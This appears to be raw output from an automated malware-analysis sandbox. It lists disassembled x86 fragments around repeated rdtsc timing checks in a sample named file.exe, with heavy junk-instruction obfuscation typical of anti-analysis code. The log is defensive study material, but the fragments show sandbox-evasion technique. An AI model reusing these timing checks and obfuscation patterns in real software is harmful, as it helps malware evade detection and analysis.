Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9516 second address: 6C9587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD4A8CA6746h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4A8CA674Bh 0x00000012 pop edx 0x00000013 nop 0x00000014 mov dx, A8C6h 0x00000018 push dword ptr [ebp+122D2F07h] 0x0000001e mov edx, dword ptr [ebp+1251EE38h] 0x00000024 call 00007FD4A8CA6749h 0x00000029 jmp 00007FD4A8CA674Eh 0x0000002e push eax 0x0000002f jmp 00007FD4A8CA6753h 0x00000034 mov eax, dword ptr [esp+04h] 0x00000038 pushad 0x00000039 je 00007FD4A8CA6748h 0x0000003f pushad 0x00000040 popad 0x00000041 jns 00007FD4A8CA6748h 0x00000047 popad 0x00000048 mov eax, dword ptr [eax] 0x0000004a push ebx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9587 second address: 6C95A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD4A8FBA016h 0x0000000a popad 0x0000000b pop ebx 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jno 00007FD4A8FBA016h 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAF88 second address: 6CAF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD4A8CA6746h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAB99 second address: 6CAB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0A22 second address: 5E0A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0A28 second address: 5E0A36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0032C second address: 4D00331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00331 second address: 4D00337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00337 second address: 4D0035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FD4A8CA6754h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov dl, 16h 0x00000013 mov dh, ch 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0035C second address: 4D0039C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A8FBA01Eh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD4A8FBA01Ah 0x00000014 sbb ecx, 778A4838h 0x0000001a jmp 00007FD4A8FBA01Bh 0x0000001f popfd 0x00000020 mov ch, BEh 0x00000022 popad 0x00000023 mov edx, dword ptr [ebp+0Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0039C second address: 4D003A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003A2 second address: 4D003B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8FBA022h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D003B8 second address: 4D003BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206E7 second address: 4D206FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8FBA024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D206FF second address: 4D20717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA674Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20717 second address: 4D2071B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2071B second address: 4D2071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2071F second address: 4D20725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20725 second address: 4D20794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, CEh 0x00000005 jmp 00007FD4A8CA6754h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007FD4A8CA6750h 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FD4A8CA674Eh 0x0000001c and al, FFFFFF88h 0x0000001f jmp 00007FD4A8CA674Bh 0x00000024 popfd 0x00000025 mov di, si 0x00000028 popad 0x00000029 xchg eax, ecx 0x0000002a jmp 00007FD4A8CA6752h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 movzx esi, di 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20794 second address: 4D2079A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2079A second address: 4D2079E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2079E second address: 4D207DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FD4A8FBA020h 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4A8FBA027h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207DD second address: 4D207E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207E3 second address: 4D20830 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FD4A8FBA022h 0x00000014 pushfd 0x00000015 jmp 00007FD4A8FBA022h 0x0000001a and ecx, 55BF9D68h 0x00000020 jmp 00007FD4A8FBA01Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20830 second address: 4D20866 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 420Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c jmp 00007FD4A8CA674Ah 0x00000011 mov dh, ah 0x00000013 popad 0x00000014 lea eax, dword ptr [ebp-04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD4A8CA6758h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20866 second address: 4D20877 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 mov dl, DEh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20877 second address: 4D2087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2087D second address: 4D20883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20883 second address: 4D208AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6752h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4A8CA674Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208AD second address: 4D208C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208C2 second address: 4D208C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208C8 second address: 4D208CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209AF second address: 4D209EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD4A8CA6757h 0x00000009 or eax, 694CDF1Eh 0x0000000f jmp 00007FD4A8CA6759h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D209EC second address: 4D20A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, esi 0x00000009 pushad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop esi 0x0000000d call 00007FD4A8FBA01Bh 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 pop esi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD4A8FBA025h 0x0000001d xor ax, 46B6h 0x00000022 jmp 00007FD4A8FBA021h 0x00000027 popfd 0x00000028 mov bx, cx 0x0000002b popad 0x0000002c leave 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov ax, di 0x00000033 movsx edx, si 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A45 second address: 4D20A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A4B second address: 4D20A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20A4F second address: 4D2000B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0004h 0x0000000b nop 0x0000000c sub esp, 04h 0x0000000f xor ebx, ebx 0x00000011 cmp eax, 00000000h 0x00000014 je 00007FD4A8CA6895h 0x0000001a xor eax, eax 0x0000001c mov dword ptr [esp], 00000000h 0x00000023 mov dword ptr [esp+04h], 00000000h 0x0000002b call 00007FD4AD5C229Bh 0x00000030 mov edi, edi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 movsx edx, ax 0x00000038 push esi 0x00000039 pop edi 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2000B second address: 4D20011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20011 second address: 4D20076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FD4A8CA6754h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FD4A8CA6750h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ah, dl 0x0000001d pushfd 0x0000001e jmp 00007FD4A8CA6756h 0x00000023 jmp 00007FD4A8CA6755h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20076 second address: 4D2007C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2007C second address: 4D200EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a pushad 0x0000000b mov ebx, 2B91DF78h 0x00000010 pushad 0x00000011 mov edi, 29134042h 0x00000016 mov cx, di 0x00000019 popad 0x0000001a popad 0x0000001b call 00007FD4A8CA6749h 0x00000020 jmp 00007FD4A8CA6755h 0x00000025 push eax 0x00000026 jmp 00007FD4A8CA6751h 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FD4A8CA674Ah 0x00000038 or ch, 00000038h 0x0000003b jmp 00007FD4A8CA674Bh 0x00000040 popfd 0x00000041 mov dl, al 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D200EB second address: 4D2017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA022h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c movsx edi, si 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007FD4A8FBA01Fh 0x00000019 pop eax 0x0000001a jmp 00007FD4A8FBA026h 0x0000001f call 00007FD4A8FBA019h 0x00000024 pushad 0x00000025 mov ecx, 0EE9E07Dh 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007FD4A8FBA028h 0x00000031 adc cx, B288h 0x00000036 jmp 00007FD4A8FBA01Bh 0x0000003b popfd 0x0000003c mov bh, cl 0x0000003e popad 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov edi, 6E3BBC82h 0x00000049 mov esi, edx 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2017C second address: 4D201A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, esi 0x00000005 mov edx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4A8CA6756h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D201A2 second address: 4D20288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A8FBA021h 0x00000008 mov si, B6B7h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FD4A8FBA029h 0x00000019 and cx, 4B16h 0x0000001e jmp 00007FD4A8FBA021h 0x00000023 popfd 0x00000024 jmp 00007FD4A8FBA020h 0x00000029 popad 0x0000002a call 00007FD4A8FBA022h 0x0000002f pushfd 0x00000030 jmp 00007FD4A8FBA022h 0x00000035 sub eax, 271A5198h 0x0000003b jmp 00007FD4A8FBA01Bh 0x00000040 popfd 0x00000041 pop ecx 0x00000042 popad 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 pushad 0x00000048 mov ax, 1D6Bh 0x0000004c pushfd 0x0000004d jmp 00007FD4A8FBA020h 0x00000052 jmp 00007FD4A8FBA025h 0x00000057 popfd 0x00000058 popad 0x00000059 pop eax 0x0000005a jmp 00007FD4A8FBA01Eh 0x0000005f mov eax, dword ptr fs:[00000000h] 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20288 second address: 4D2028C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2028C second address: 4D202A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202A9 second address: 4D202AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202AF second address: 4D202CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4A8FBA01Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202CA second address: 4D202CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202CE second address: 4D202D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202D4 second address: 4D202DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202DA second address: 4D202DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D202DE second address: 4D20315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FD4A8CA6754h 0x00000010 sub esp, 18h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007FD4A8CA674Dh 0x0000001b pop ecx 0x0000001c movsx ebx, cx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20315 second address: 4D203A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 60h 0x00000005 mov di, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d mov ch, 73h 0x0000000f mov edx, 6F459EFAh 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007FD4A8FBA020h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 mov eax, 67DCDA49h 0x00000025 popad 0x00000026 call 00007FD4A8FBA026h 0x0000002b pushad 0x0000002c popad 0x0000002d pop eax 0x0000002e popad 0x0000002f push edx 0x00000030 pushad 0x00000031 jmp 00007FD4A8FBA01Ah 0x00000036 mov di, ax 0x00000039 popad 0x0000003a mov dword ptr [esp], esi 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 pushfd 0x00000041 jmp 00007FD4A8FBA028h 0x00000046 jmp 00007FD4A8FBA025h 0x0000004b popfd 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203A5 second address: 4D203F5 instructions: 0x00000000 rdtsc 0x00000002 mov cx, C317h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FD4A8CA674Ch 0x0000000e jmp 00007FD4A8CA6755h 0x00000013 popfd 0x00000014 popad 0x00000015 xchg eax, edi 0x00000016 jmp 00007FD4A8CA674Eh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f call 00007FD4A8CA674Ch 0x00000024 pop eax 0x00000025 movsx edi, cx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203F5 second address: 4D203FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203FB second address: 4D20464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FD4A8CA6751h 0x00000010 sbb cx, 4FB6h 0x00000015 jmp 00007FD4A8CA6751h 0x0000001a popfd 0x0000001b push ecx 0x0000001c mov edi, 2AF0EEF2h 0x00000021 pop ebx 0x00000022 popad 0x00000023 mov eax, dword ptr [75AF4538h] 0x00000028 pushad 0x00000029 mov ax, FDBBh 0x0000002d mov ecx, 5741BA97h 0x00000032 popad 0x00000033 xor dword ptr [ebp-08h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FD4A8CA6759h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20464 second address: 4D20487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4A8FBA01Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20487 second address: 4D20499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8CA674Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20499 second address: 4D2055C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov bx, si 0x0000000d push eax 0x0000000e pushfd 0x0000000f jmp 00007FD4A8FBA025h 0x00000014 sub eax, 38C9D7E6h 0x0000001a jmp 00007FD4A8FBA021h 0x0000001f popfd 0x00000020 pop ecx 0x00000021 popad 0x00000022 mov dword ptr [esp], eax 0x00000025 pushad 0x00000026 mov dx, 7E70h 0x0000002a pushfd 0x0000002b jmp 00007FD4A8FBA029h 0x00000030 adc eax, 32D487F6h 0x00000036 jmp 00007FD4A8FBA021h 0x0000003b popfd 0x0000003c popad 0x0000003d lea eax, dword ptr [ebp-10h] 0x00000040 jmp 00007FD4A8FBA01Eh 0x00000045 mov dword ptr fs:[00000000h], eax 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FD4A8FBA01Ah 0x00000052 or al, 00000048h 0x00000055 jmp 00007FD4A8FBA01Bh 0x0000005a popfd 0x0000005b popad 0x0000005c mov dword ptr [ebp-18h], esp 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FD4A8FBA020h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2055C second address: 4D20562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20562 second address: 4D2065A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f jmp 00007FD4A8FBA020h 0x00000014 mov ecx, dword ptr [eax+00000FDCh] 0x0000001a pushad 0x0000001b jmp 00007FD4A8FBA01Eh 0x00000020 pushfd 0x00000021 jmp 00007FD4A8FBA022h 0x00000026 xor ax, F768h 0x0000002b jmp 00007FD4A8FBA01Bh 0x00000030 popfd 0x00000031 popad 0x00000032 test ecx, ecx 0x00000034 jmp 00007FD4A8FBA026h 0x00000039 jns 00007FD4A8FBA038h 0x0000003f jmp 00007FD4A8FBA020h 0x00000044 add eax, ecx 0x00000046 jmp 00007FD4A8FBA020h 0x0000004b mov ecx, dword ptr [ebp+08h] 0x0000004e pushad 0x0000004f call 00007FD4A8FBA01Eh 0x00000054 mov bx, si 0x00000057 pop esi 0x00000058 pushfd 0x00000059 jmp 00007FD4A8FBA027h 0x0000005e adc cx, 9E1Eh 0x00000063 jmp 00007FD4A8FBA029h 0x00000068 popfd 0x00000069 popad 0x0000006a test ecx, ecx 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2065A second address: 4D2065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2065E second address: 4D20662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20662 second address: 4D20668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1009A second address: 4D100B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA022h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
